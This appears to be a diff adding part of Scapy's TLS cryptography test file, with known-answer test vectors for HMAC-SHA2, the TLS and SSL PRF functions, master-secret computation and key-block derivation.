+class _hmac_test_case_5:
+    Key          = (b'\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c'+
+                    b'\x0c\x0c\x0c\x0c\x0c\x0c\x0c')
+    Data         = (b'\x54\x65\x73\x74\x20\x57\x69\x74\x68\x20\x54\x72\x75'+
+                    b'\x6e\x63\x61\x74\x69\x6f\x6e')
+    HMAC_SHA_224 = (b'\x0e*\xeah\xa9\x0c\x8d7\xc9\x88\xbc\xdb\x9f\xcao\xa8'+
+                    b'\t\x9c\xd8W\xc7\xecJ\x18\x15\xca\xc5L')
+    HMAC_SHA_256 = (b'\xa3\xb6\x16ts\x10\x0e\xe0n\x0cyl)UU+\xfao|\nj\x8a'+
+                    b'\xef\x8b\x93\xf8`\xaa\xb0\xcd \xc5')
+    HMAC_SHA_384 = (b':\xbf4\xc3P;*#\xa4n\xfca\x9b\xae\xf8\x97\xf4\xc8\xe4'+
+                    b',\x93L\xe5\\\xcb\xae\x97@\xfc\xbc\x1a\xf4\xcab&\x9e*'+
+                    b'7\xcd\x88\xba\x92cA\xef\xe4\xae\xea')
+    HMAC_SHA_512 = (b'A_\xadbqX\nS\x1dAy\xbc\x89\x1d\x87\xa6P\x18\x87\x07'+
+                    b'\x92*O\xbb6f:\x1e\xb1m\xa0\x08q\x1c[P\xdd\xd0\xfc#P'+
+                    b'\x84\xeb\x9d3d\xa1EO\xb2\xefg\xcd\x1d)\xfegs\x06\x8e'+
+                    b'\xa2f\xe9k')
+
+class _hmac_test_case_6:
+    Key          = (b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'+
+                    b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'+
+                    b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'+
+                    b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'+
+                    b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'+
+                    b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'+
+                    b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'+
+                    b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'+
+                    b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'+
+                    b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'+
+                    b'\xaa')
+    Data         = (b'\x54\x65\x73\x74\x20\x55\x73\x69\x6e\x67\x20\x4c\x61'+
+                    b'\x72\x67\x65\x72\x20\x54\x68\x61\x6e\x20\x42\x6c\x6f'+
+                    b'\x63\x6b\x2d\x53\x69\x7a\x65\x20\x4b\x65\x79\x20\x2d'+
+                    b'\x20\x48\x61\x73\x68\x20\x4b\x65\x79\x20\x46\x69\x72'+
+                    b'\x73\x74')
+    HMAC_SHA_224 = (b'\x95\xe9\xa0\xdb\x96\x20\x95\xad\xae\xbe\x9b\x2d\x6f'+
+                    b'\x0d\xbc\xe2\xd4\x99\xf1\x12\xf2\xd2\xb7\x27\x3f\xa6'+
+                    b'\x87\x0e')
+    HMAC_SHA_256 = (b'\x60\xe4\x31\x59\x1e\xe0\xb6\x7f\x0d\x8a\x26\xaa\xcb'+
+                    b'\xf5\xb7\x7f\x8e\x0b\xc6\x21\x37\x28\xc5\x14\x05\x46'+
+                    b'\x04\x0f\x0e\xe3\x7f\x54')
+    HMAC_SHA_384 = (b'\x4e\xce\x08\x44\x85\x81\x3e\x90\x88\xd2\xc6\x3a\x04'+
+                    b'\x1b\xc5\xb4\x4f\x9e\xf1\x01\x2a\x2b\x58\x8f\x3c\xd1'+
+                    b'\x1f\x05\x03\x3a\xc4\xc6\x0c\x2e\xf6\xab\x40\x30\xfe'+
+                    b'\x82\x96\x24\x8d\xf1\x63\xf4\x49\x52')
+    HMAC_SHA_512 = (b'\x80\xb2\x42\x63\xc7\xc1\xa3\xeb\xb7\x14\x93\xc1\xdd'+
+                    b'\x7b\xe8\xb4\x9b\x46\xd1\xf4\x1b\x4a\xee\xc1\x12\x1b'+
+                    b'\x01\x37\x83\xf8\xf3\x52\x6b\x56\xd0\x37\xe0\x5f\x25'+
+                    b'\x98\xbd\x0f\xd2\x21\x5d\x6a\x1e\x52\x95\xe6\x4f\x73'+
+                    b'\xf6\x3f\x0a\xec\x8b\x91\x5a\x98\x5d\x78\x65\x98')
+
+class _hmac_test_case_7:
+    Key          = (b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'+
+                    b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'+
+                    b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'+
+                    b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'+
+                    b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'+
+                    b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'+
+                    b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'+
+                    b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'+
+                    b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'+
+                    b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'+
+                    b'\xaa')
+    Data         = (b'\x54\x68\x69\x73\x20\x69\x73\x20\x61\x20\x74\x65\x73'+
+                    b'\x74\x20\x75\x73\x69\x6e\x67\x20\x61\x20\x6c\x61\x72'+
+                    b'\x67\x65\x72\x20\x74\x68\x61\x6e\x20\x62\x6c\x6f\x63'+
+                    b'\x6b\x2d\x73\x69\x7a\x65\x20\x6b\x65\x79\x20\x61\x6e'+
+                    b'\x64\x20\x61\x20\x6c\x61\x72\x67\x65\x72\x20\x74\x68'+
+                    b'\x61\x6e\x20\x62\x6c\x6f\x63\x6b\x2d\x73\x69\x7a\x65'+
+                    b'\x20\x64\x61\x74\x61\x2e\x20\x54\x68\x65\x20\x6b\x65'+
+                    b'\x79\x20\x6e\x65\x65\x64\x73\x20\x74\x6f\x20\x62\x65'+
+                    b'\x20\x68\x61\x73\x68\x65\x64\x20\x62\x65\x66\x6f\x72'+
+                    b'\x65\x20\x62\x65\x69\x6e\x67\x20\x75\x73\x65\x64\x20'+
+                    b'\x62\x79\x20\x74\x68\x65\x20\x48\x4d\x41\x43\x20\x61'+
+                    b'\x6c\x67\x6f\x72\x69\x74\x68\x6d\x2e')
+    HMAC_SHA_224 = (b'\x3a\x85\x41\x66\xac\x5d\x9f\x02\x3f\x54\xd5\x17\xd0'+
+                    b'\xb3\x9d\xbd\x94\x67\x70\xdb\x9c\x2b\x95\xc9\xf6\xf5'+
+                    b'\x65\xd1')
+    HMAC_SHA_256 = (b'\x9b\x09\xff\xa7\x1b\x94\x2f\xcb\x27\x63\x5f\xbc\xd5'+
+                    b'\xb0\xe9\x44\xbf\xdc\x63\x64\x4f\x07\x13\x93\x8a\x7f'+
+                    b'\x51\x53\x5c\x3a\x35\xe2')
+    HMAC_SHA_384 = (b'\x66\x17\x17\x8e\x94\x1f\x02\x0d\x35\x1e\x2f\x25\x4e'+
+                    b'\x8f\xd3\x2c\x60\x24\x20\xfe\xb0\xb8\xfb\x9a\xdc\xce'+
+                    b'\xbb\x82\x46\x1e\x99\xc5\xa6\x78\xcc\x31\xe7\x99\x17'+
+                    b'\x6d\x38\x60\xe6\x11\x0c\x46\x52\x3e')
+    HMAC_SHA_512 = (b'\xe3\x7b\x6a\x77\x5d\xc8\x7d\xba\xa4\xdf\xa9\xf9\x6e'+
+                    b'\x5e\x3f\xfd\xde\xbd\x71\xf8\x86\x72\x89\x86\x5d\xf5'+
+                    b'\xa3\x2d\x20\xcd\xc9\x44\xb6\x02\x2c\xac\x3c\x49\x82'+
+                    b'\xb1\x0d\x5e\xeb\x55\xc3\xe4\xde\x15\x13\x46\x76\xfb'+
+                    b'\x6d\xe0\x44\x60\x65\xc9\x74\x40\xfa\x8c\x6a\x58')
+
+def _all_hmac_sha2_tests():
+    from scapy.layers.tls.crypto.h_mac import (Hmac_SHA224, Hmac_SHA256,
+                                               Hmac_SHA384, Hmac_SHA512)
+    res = True
+    for t in [_hmac_test_case_1, _hmac_test_case_2, _hmac_test_case_3,
+              _hmac_test_case_4, _hmac_test_case_5, _hmac_test_case_6,
+              _hmac_test_case_7 ]:
+        tmp = ((Hmac_SHA224(t.Key).digest(t.Data) == t.HMAC_SHA_224) and
+               (Hmac_SHA256(t.Key).digest(t.Data) == t.HMAC_SHA_256) and
+               (Hmac_SHA384(t.Key).digest(t.Data) == t.HMAC_SHA_384) and
+               (Hmac_SHA512(t.Key).digest(t.Data) == t.HMAC_SHA_512))
+        res = res and tmp
+    return res
+
+_all_hmac_sha2_tests()
+
+
+###############################################################################
+### PRF                                                                     ###
+###############################################################################
+
++ Test PRFs and associated methods
+
+= Crypto - _tls_P_MD5 behavior on test vectors borrowed from RFC 2202 (+ errata)
+from scapy.layers.tls.crypto.prf import _tls_P_MD5
+t1 = _tls_P_MD5(b'\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b', "Hi There", 64) == b'8\x99\xc0\xb8!\xd7}RI\xb2\xbb\x8e\xbe\xf8\x97Y\xcc\xffL\xae\xc3I\x8f\x7f .\x81\xe0\xce\x1a\x82\xbd\x19\xa0\x16\x10P}\xf0\xda\xdc\xa0>\xc4,\xa1\xcfS`\x85\xc5\x084+QN31b\xd7%L\x9d\xdc'
+t2 = _tls_P_MD5(b"Jefe", b"what do ya want for nothing?", 64) == b"\xec\x99'|,\xd5gj\x82\xb9\xa0\x12\xdb\x83\xd3\xa3\x93\x19\xa6N\x89g\x99\xc2!9\xd8\xcf\xc1WTi\xc4D \x19l\x03\xa8PCo\x10`-\x98\xd0\xe1\xbc\xefAJkx\x95\x0c\x08*\xd6C\x8fS\x0e\xd9"
+t3 = _tls_P_MD5(b'\xaa'*16,b'\xdd'*50, 64) == b'\xe5_\xe8.l\xee\xd8AP\xfc$$\xda\tX\x93O\xa7\xd2\xe2\xa2\xa9\x02\xa1\x07t\x19\xd1\xe3%\x80\x19\rV\x19\x0f\xfa\x01\xce\x0eJ\x7fN\xdf\xed\xb5lS\x06\xb5|\x96\xa6\x1cc)h\x88\x8d\x0c@\xfdX\xaa'
+t4 = _tls_P_MD5(b'\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19', b'\xcd'*50, 64) == b'\x8e\xa6\x1f\x82\x1e\xad\xbe4q\x93\xf4\x1c\xb7\x87\xb3\x15\x13F\x8b\xfd\x89m\x0e\xa6\xdc\xe9\xceZ\xcdOc>gN\xa4\x9cK\xf89\xfc6\t%T=j\xf0\x0f\xfdl\xbf\xfbj\xc4$zR"\xf4\xa4=\x18\x8b\x8d'
+t5 = _tls_P_MD5(b'\x0c'*16, b"Test With Truncation", 64) == b'\xb3>\xfaj\xc8\x95S\xcd\xdd\xea\x8b\xee7\xa5ru\xf4\x00\xd6\xed\xd5\x9aH\x1f,F\xb6\x93\r\xc3Z<"\x1e\xf7rx\xf0\xd7\x0f`zy\xe9\r\xb4\xf4}\xab2\xa5\xfe\xd0z@\x87\xc1c\x8b\xa0\xc8\xf5\x0bd'
+t6 = _tls_P_MD5(b'\xaa'*80, b"Test Using Larger Than Block-Size Key - Hash Key First", 64) == b';\xcf\xa4\xd8\xccH\xa0\xa4\xf1\x10d\xfa\xd4\xb1\x7f\xda\x80\xf6\xe2\xb9\xf4\xd3WtS\x1c\x83\xb4(\x94\xfe\xa7\xb9\xc1\xcd\xf9\xe7\xae\xbc\x0c\x0f\xbae\xc3\x9e\x11\xe2+\x11\xe9\xd4\x8fK&\x99\xfe[\xfa\x02\x85\xb4\xd8\x8e\xdf'
+t7 = _tls_P_MD5(b'\xaa'*80, b"Test Using Larger Than Block-Size Key and Larger Than One Block-Size Data", 64) == b'\x12\x06EI1\x81fP\x8dn\xa6WC\xfb\xbf\x1e\xefC[|\x0f\x05w\x14@\xfc\xa5 \xeak\xc9\xb9\x1c&\x80\x81.\x85#\xa9\x0ff\xea\xaa\x01"v\'\xd8X"\xbd\xa2\x86\xbd\xe3?6\xc7|\xc6WNO'
+t1 and t2 and t3 and t4 and t5 and t6 and t7
+
+
+= Crypto - _tls_P_SHA1 behavior on test vectors borrowed from RFC 2202 (+ errata)
+from scapy.layers.tls.crypto.prf import _tls_P_SHA1
+t1 = _tls_P_SHA1(b'\x0b'*20, b"Hi There", 80) == b'\x13\r\x11Q7(\xc1\xad\x7f>%m\xfc\x08\xb6\xb9$\xb1MG\xe4\x9c\xcdY\x0e\\T\xd0\x8f\x1a-O@`\xd2\x9eV_\xfd\xed\x1f\x93V\xfb\x18\xb6\xbclq3A\xa2\x87\xb1u\xfc\xb3RQ\x19;#\n(\xd2o%lB\x8b\x01\x89\x1c6m"\xc3\xe2\xa0\xe7'
+t2 = _tls_P_SHA1(b'Jefe', b"what do ya want for nothing?", 80) == b'\xba\xc4i\xf1\xa0\xc5eO\x844\xb6\xbd%L\xe1\xfe\xef\x08\x00\x1c^l\xaf\xbbN\x9f\xd8\xe5}\x87U\xc1\xd2&4zu\x9a1\xef\xd6M+\x1e\x84\xb4\xcb\xc9\xa7\n\x90f\x8aJ\xde\xd5\xa4\x8f,D\xe8.\x98\x9c)\xc7hlct\x1em(\xb73b[L\x96c'
+t3 = _tls_P_SHA1(b'\xaa'*20, b'\xdd'*50, 80) == b'Lm\x848}\xe8?\x88\x82\x85\xc3\xe6\xc9\x1f\x80Z\xf5D\xeeI\xa1m\x08h)\xea<zk{\x9b\x9b\xe1;H\xa4\xf5\x93r\x87\x07J0\n\xb9\xdd\\~j\xd0\x98R|C\x89\x131\x12u%\x90\xb2\x05\xb4}\xad}\xc4MP\x8cmb\x0c\x88\xfd{)\x9b\xc0'
+t4 = _tls_P_SHA1(b'\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19', b'\xcd'*50, 80) == b'\xd6\xe4\x8a\x91\xb3\xac\xe16\x9d\x10s\xf1\x1bu\x96(6f\xed\xd8x\x19\xcd<:\x15\xb2z\xc1\xa9\xdf\x89=\xeb!\xfb\n\x0e\xdf0\xb9\xb5\xa96\xcf\x9b\xd4\xcaD\x12Y1[p\xb9\xf9\xbb=\xa9\xcd\xb7\xe0L\xb00\xafK\xc4\x9c\xc6?#\xb6$\xebM\x1a\xba;3'
+t5 = _tls_P_SHA1(b'\x0c'*20, b"Test With Truncation", 80) == b'`\x1d\xe4\x98Q\xa1\xdbW\xc5a\xa9@\x8fQ\x86\xfc\x17\xca\xda\x1a\xdd\xb8\xab\x94M_Y\xd1%Pj\xfc\xd4\xca\x82\x88\xdb\x04\xf9F\xbe\xbf\xecR\xa4\x0c}[\x8e\xc7\xdf\x88I:\xea2v\xbe\x06\x8fcx\xf1Q\xb7z1\x1455?\xc0_\xda\xbb;\xa6Q\xb3\xc5'
+t6 = _tls_P_SHA1(b'\xaa'*80, b"Test Using Larger Than Block-Size Key - Hash Key First", 80) == b'\x00W\xbaq>^\x047;\xcezY}\x16\xc6\xf10\x80:\xe2K\x87i{\xc7V\xad2\xda=\xf3d7\x047\xf7r\xf1&\x04\xb1\xd1\xf8\x88H\'\r\x08\xc4\x81\xa3\xa1Q\xa5\x90\xed\xef\xd8\x9c\x14\xdc\x80\xab){3\xde\x87\x8a\x1e"\x1e\xad54rM\x94\xe1\xb8'
+t7 = _tls_P_SHA1(b'\xaa'*80, b"Test Using Larger Than Block-Size Key and Larger Than One Block-Size Data", 80) == b'N/PKC\x1d\xb5[}gUk\xc7\xaf\xb4-\xef\x9e\xe63$E=\xfc\xc4\xd0l]EA\x84\xb0\x1e\x91]\xcc[\x0e-\xec\xd5\x90\x19,\xc6\xffn\xf8\xbe1Ck\xe6\x9cF*\x8c"_\x05\x14%h\x98\xa1\xc2\xf1bCt\xd4S\xc1:{\x96\xa4\x14c '
+t1 and t2 and t3 and t4 and t5 and t6 and t7
+
+
+= Crypto - _tls_PRF behavior on test vectors borrowed from RFC 2202 (+ errata)
+from scapy.layers.tls.crypto.prf import _tls_PRF
+t1 = _tls_PRF(b'\x0b'*20, b"Test Label XXXX", b"Hi There", 80) == b'E\xcc\xeb\x12\x0b<\xbfh\x1f\xc3\xd3%J\x85\xdeQ\t\xbc[\xcd.\xbe\x170\xf2\xebm\xe6g\x05x\xad\x86V\x0b\xb3\xb7\xe5i\x7fh}T\xe5$\xe4\xba\xa0\xc6\xf0\xf1\xb1\xe1\x8a\xf5\xcc\x9ab\x1c\xc9\x10\x82\x93\x82Q\xd2\x80\xf0\xf8\x0f\x03\xe2\xbe\xc3\x94T\x05\xben\x9e'
+t2 = _tls_PRF(b'Jefe', b"Test Label YYYYYYY", b"what do ya want for nothing?", 80) == b'n\xbet\x06\x82\x87\xcd\xea\xd9\x8b\xf8J\x17\x07\x84\xbc\xf3\x07\x9a\x99\n\xa6,\x97\xe6CRO\x7f\x0e[,\xa9\x83\xe6\xce?6\x12x\xc8Q\x00kO\x06s\xc5\xd7\xda\x1fd_\xe8\xad\xd4\xea\xfe\xd8\xc8 \x92e\x80\x8a\xafxF\xd6-/\x14\x94\x05a\x94\x0b\x1d\xf83'
+t3 = _tls_PRF(b'\xaa'*20, b"Test Label ZZ", b'\xdd'*50, 80) == b"Ad\xe2B\xa0\xb0+G#\x0f%\x19\xae\xdd\xb1d\xa0\x99\x15\x98\xa43c?\xaa\xd1\xc0\xf7\xc39V\xcb\x9b}\x95T\xd9\xde \xecr{/\xfb\x018\xeeR \x18Awi\x86=\xb4rg\x13\\\xaf<\x17\xd3_\xc5'U[\xa5\x83\xfa<\xa6\xc9\xdd\x85l\x1a\xdb"
+t4 = _tls_PRF(b'\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19', b"Test Label UUUUUUUUUUUUUUU", b'\xcd'*50, 80) == b'<\xf0\xe9\xaa\x95w\t\xa7\xb0!w\xf1EoC\x8fJ\x1f\xec\x80.\x89X\xe3O4Vl\xd1\xb7]\xa1\xb9o\xdf/&!\xb8n\xeb\x04"\xeftxs 6E+\xf1\xb3\xb6/vd\xd1h\xa3\x80>\x83Y\xbd]\xda\xab\xb8\xd8\x01\xc5b3K\xe7\x08\r\x12\x14'
+t5 = _tls_PRF(b'\x0c'*20, b"Test Label KKKKKKKKK", b"Test With Truncation", 80) == b"gq\xa5\xc4\xf5\x86z.\x03\n\xa3\x85\x87\xbc\xabm\xf1\xd2\x06\xf6\xbc\xc8\xab\xf0\xee\xd2>e'!\xd3zW\x81\x10|^(\x8d~\xa5s&p\xef]\rDa\x113\xa6z\x9f\xf2\xe2_}\xd8.u\xbe\xb1\x7fx\xe0r~\xdc\xa2\x0f\xcd\xcd\x1d\x81\x1a`#\xc6O"
+t6 = _tls_PRF(b'\xaa'*80, b"Test Label PPPPPPPPP", b"Test Using Larger Than Block-Size Key - Hash Key First", 80) == b'\x994^fx\x17\xbaaj\xc0"\xd1g\xbfh#uE\xee\xd8\xf1,\xab\xe7w\xfa\xc8\x0c\xf9\xcd\xbb\xbb\xa71U\xbe\xeb@\x90\xc2\x04\x93\xa5\xcf\x8e\xda\xbb\x93n\x99^\xa2{\x8b{\x18\xd7\xf7e\x8a~\xfbA\xdd\xc3\xd9\x9b\x1c\x82$\xf5YX{\xaa\xb4\xf2\x04\xb3%'
+t7 = _tls_PRF(b'\xaa'*80, b"Test Label MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", b"Test Using Larger Than Block-Size Key and Larger Than One Block-Size Data", 80) == b'\xd6N\x12S\x18]\x87\x19\xacD\x1b4\xc3"\xc2\xd9J\xb8\xee/\xb0?\xc2_\x10\xb2\x196\xdaXC\xe0Ft\xd3:a\xcd\xb8\xdd\x8a\xb6\xb1\xc6sx\xb8\x87\x8a\x93\xf8~\xad\xc7\xd1\xa7I=\xceVW\x0f\x9a\xcc-\x8cv^o\x12\xa4\xcd\x10\xb1\xb0\x1f\xdd\x94,\x03'
+t1 and t2 and t3 and t4 and t5 and t6 and t7
+
+
+= Crypto - _ssl_PRF behavior on test vectors
+from scapy.layers.tls.crypto.prf import _ssl_PRF
+t1 = _ssl_PRF(b'\x0b'*20, b"Hi There", 80) == b'\x0fo\xbe9\x83>~Bc\xaea^\x86\xd2b\x94X\xfd9Be\xe799\xf2\x00\xfcS\xd6\x1c=\xe5\x7fin\x1e\xf9r\xc8\xe6k\x19K\x8a\x85SK\xe5\xb7;A\x19b\x86F3M\x8d=\xcf\x15\xeedo\xd3\xae\xa2\x95\x8e\x80\x13\xabG\x8d\x1c,\x8c\xab\xf7\xd4'
+t2 = _ssl_PRF(b'Jefe', b"what do ya want for nothing?", 80) == b'\x19\x9f\xb9{\x87.\xd0\xf5\xc4\t.\xb6#\xae\x95\xe0S~\x15\xce\xe6\xb7oe\xad\x127\xb8\xc2C?\r\x87\xa6\x7f\x86y\xfa\xae\xcf\x0e\xb9\x01\xa5B\x07\x9d\x95\xf1]\xdc\x1bCb&T\xa0\xb0\x8a3\xcf\\\xaf\xe8j/\xbdx\x13\\\x91\xc8\xdfZ\xde"R`K\xd6'
+t3 = _ssl_PRF(b'\xaa'*20, b'\xdd'*50, 80) == b'\xe3*\xce\xdc?k{\x10\x80\x8dt\x0e\xdaA\xf9}\x1d\x8e|\xc9Ux\x88\\\xf1a\xcfJ\xedi\xc1[C-\xf3\xa4\xcc\xf9\xce\xa3P\xe3\x9ai\x0b\xb7\xce\x8bar\x93\xc5\x93\x1a\x82\xc8{\x1c\xf2\x87\x9d\xe1\xf5\x9e\x0c\xf6\xa6\x91\xb9\x97\x17Y,\x11\x00\rs\xdd\xcf]'
+t4 = _ssl_PRF(b'\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19', b'\xcd'*50, 80) == b"\x8c\x83!h\x1b\xf2\x96f\x04\x15\x80H\x88\xcb\x80\x03\xc0\xfc\x05\xe5q\x93]\xeb\t\xd4B\xbc\xa4{\xb9\xd8\xb6IF\xc2\x80\x87\x9e2*\x82\x0ef\xc8\xbbBi\xb15\x90\xd6MW\xebM\xd7\xf9u\xd5+\xa8\x81\x11'\x8c\x88]b\r,\xde\xd9d[t\t\x199\x0b"
+t5 = _ssl_PRF(b'\x0c'*20, b"Test With Truncation", 80) == b"\x85\xf5\xe8\xd2\xddW$\x14\xde\x84\x08@\xca\x86\x8bZn\x07\x87AKg\x18\xc3\x1a'\xc2\xb9\xdd\x17\xb5K1\xb9\x9a=\xe4\x1f/\xfe\xa6\x96\x10\x0c\x15@:z\xbf\x1dM\xa3\x90\x01\xb67\x07Z\xe0\xfe}U=\x81\xb2~\xc6\x1a\xcb\xe7\x9b\x90+\xa0\x86\xb2\x8b\xae\xc7\x9f"
+t6 = _ssl_PRF(b'\xaa'*80, b"Test Using Larger Than Block-Size Key - Hash Key First", 80) == b'\x99\x11\x92\x8dw\xf1\xab\xdfr\x96S\xf5\xc1\x96\xc0\x16W*=\xa49\xd0\xf0\xf15\x91le\xda\x16\xfe8\x834kC3\x1b\xdf\xfc\xd8\x82\xe1\x9c\xfe9(4\xf9\x9c\x12\xc5~\xd1\xdc\xf3\xe5\x91\xbd\xbb\xb5$\x1c\xe4fs\xf2\xedM\xb7pO\x17\xdf\x01K\xf8\xed2-'
+t7 = _ssl_PRF(b'\xaa'*80, b"Test Using Larger Than Block-Size Key and Larger Than One Block-Size Data", 80) == b"\x8esl|C\x81\x80vv\xe1\x89H\xc9'oC\x1b\xbe\xc3\xbbE\x04)\xed\x1c\x84\xa9)\x08\xf5\xeb-\x93\xe9\x0f}\xeb[\xc4w\xd53y$\x07\xdc\x0f\\\xfc\xb2\x05r+\x13\xd8\xc3\xe7Lsz\xa1\x03\x93\xdd-\xf9l\xb7\xe6\xb3\x7fM\xfa\x90\xadeo\xcer*"
+t1 and t2 and t3 and t4 and t5 and t6 and t7
+
+
+= Crypto - _tls12_*_PRF behavior, using SHA-256, SHA-384 and SHA-512
+# https://www.ietf.org/mail-archive/web/tls/current/msg03416.html
+
+from scapy.layers.tls.crypto.prf import PRF
+class _prf_tls12_sha256_test:
+    h= "SHA256"
+    k= b"\x9b\xbe\x43\x6b\xa9\x40\xf0\x17\xb1\x76\x52\x84\x9a\x71\xdb\x35"
+    s= b"\xa0\xba\x9f\x93\x6c\xda\x31\x18\x27\xa6\xf7\x96\xff\xd5\x19\x8c"
+    o=(b"\xe3\xf2\x29\xba\x72\x7b\xe1\x7b\x8d\x12\x26\x20\x55\x7c\xd4\x53" +
+       b"\xc2\xaa\xb2\x1d\x07\xc3\xd4\x95\x32\x9b\x52\xd4\xe6\x1e\xdb\x5a")
+
+class _prf_tls12_sha384_test:
+    h= "SHA384"
+    k= b"\xb8\x0b\x73\x3d\x6c\xee\xfc\xdc\x71\x56\x6e\xa4\x8e\x55\x67\xdf"
+    s= b"\xcd\x66\x5c\xf6\xa8\x44\x7d\xd6\xff\x8b\x27\x55\x5e\xdb\x74\x65"
+    o=(b"\x7b\x0c\x18\xe9\xce\xd4\x10\xed\x18\x04\xf2\xcf\xa3\x4a\x33\x6a" +
+       b"\x1c\x14\xdf\xfb\x49\x00\xbb\x5f\xd7\x94\x21\x07\xe8\x1c\x83\xcd")
+
+class _prf_tls12_sha512_test:
+    h= "SHA512"
+    k= b"\xb0\x32\x35\x23\xc1\x85\x35\x99\x58\x4d\x88\x56\x8b\xbb\x05\xeb"
+    s= b"\xd4\x64\x0e\x12\xe4\xbc\xdb\xfb\x43\x7f\x03\xe6\xae\x41\x8e\xe5"
+    o=(b"\x12\x61\xf5\x88\xc7\x98\xc5\xc2\x01\xff\x03\x6e\x7a\x9c\xb5\xed" +
+       b"\xcd\x7f\xe3\xf9\x4c\x66\x9a\x12\x2a\x46\x38\xd7\xd5\x08\xb2\x83")
+
+def _all_prf_tls12_tests():
+    res = True
+    for t in [ _prf_tls12_sha256_test,
+               _prf_tls12_sha384_test,
+               _prf_tls12_sha512_test ]:
+        p = PRF(tls_version=0x303, hash_name=t.h)
+        tmp = p.prf(t.k, b"test label", t.s, 32) == t.o
+        res = res and tmp
+    return res
+
+_all_prf_tls12_tests()
+
+
+= Crypto - compute_master_secret() in SSL mode
+f = PRF(tls_version=0x300)
+t1 = f.compute_master_secret(b"A"*48, b"B"*32, b"C"*32) == b'\xe8\xb5O68e\x8c\x1e\xd0hD!\xc1Zk\x9e\xc7x3\xfc".\xf9\x17\xd5B\xfc\xef\x8d\xed\x9fP\xcer\x83|6\x02\xe0\x86\xda\xab-G\x8c\xa9H5'
+t2 = f.compute_master_secret(b"A"*48, b"C"*32, b"B"*32) == b'Ts/q\x83\x88\x10\x9c1Y\xff\xf3vo\xe3\x8aM\x9b\xa3k[J\xeeWXs\xcfTe\x19\xc6\xb1\x0ebj1}\x0c\xca\x97=|\x88W\xd8q\xfb|'
+t3 = f.compute_master_secret(b"C"*48, b"A"*32, b"B"*32) == b'Q\xde\x06L\xdb\xe9\x9dC\x19\x8a:m@\xce\xbf\xc0\n\xd8\xd4H!#\x06\xad\x929\x85\xc9@\x1f\xb5\xe2)^{c\x94\x06&\xad\xb56\x13^\xd6\xa5\x19\xe7'
+t4 = f.compute_master_secret(b"D"*48, b"B"*32, b"A"*32) == b'\xbe\x9a\xc8)\xb5{.H1\x8382\xc2\xdff\xdf@\xda\xde\x88\xe1\xf3\xad9\xcc\x14\xb1\x7f\x90\x00;B)\x8c\xdb\xdbH\xfe=%^\xe9\x83\x0eV\x86\x83\x8d'
+t1 and t2 and t3 and t4
+
+
+= Crypto - derive_key_block() in SSL mode
+t1 = f.derive_key_block(b"A"*48, b"B"*32, b"C"*32, 72) == b'\xe8\xb5O68e\x8c\x1e\xd0hD!\xc1Zk\x9e\xc7x3\xfc".\xf9\x17\xd5B\xfc\xef\x8d\xed\x9fP\xcer\x83|6\x02\xe0\x86\xda\xab-G\x8c\xa9H5\xdf\x14\xa9\xcfV\r\xea}\x98\x04\x8dK,\xb6\xf7;\xaa\xa8\xa5\xad\x7f\x0fCY'
+t2 = f.derive_key_block(b"A"*48, b"C"*32, b"B"*32, 72) == b'Ts/q\x83\x88\x10\x9c1Y\xff\xf3vo\xe3\x8aM\x9b\xa3k[J\xeeWXs\xcfTe\x19\xc6\xb1\x0ebj1}\x0c\xca\x97=|\x88W\xd8q\xfb|\x17\x99\nH;\xec\xd2\x15\xabd\xed\xc3\xe0p\xd8\x1eS\xb5\xf4*8\xceE^'
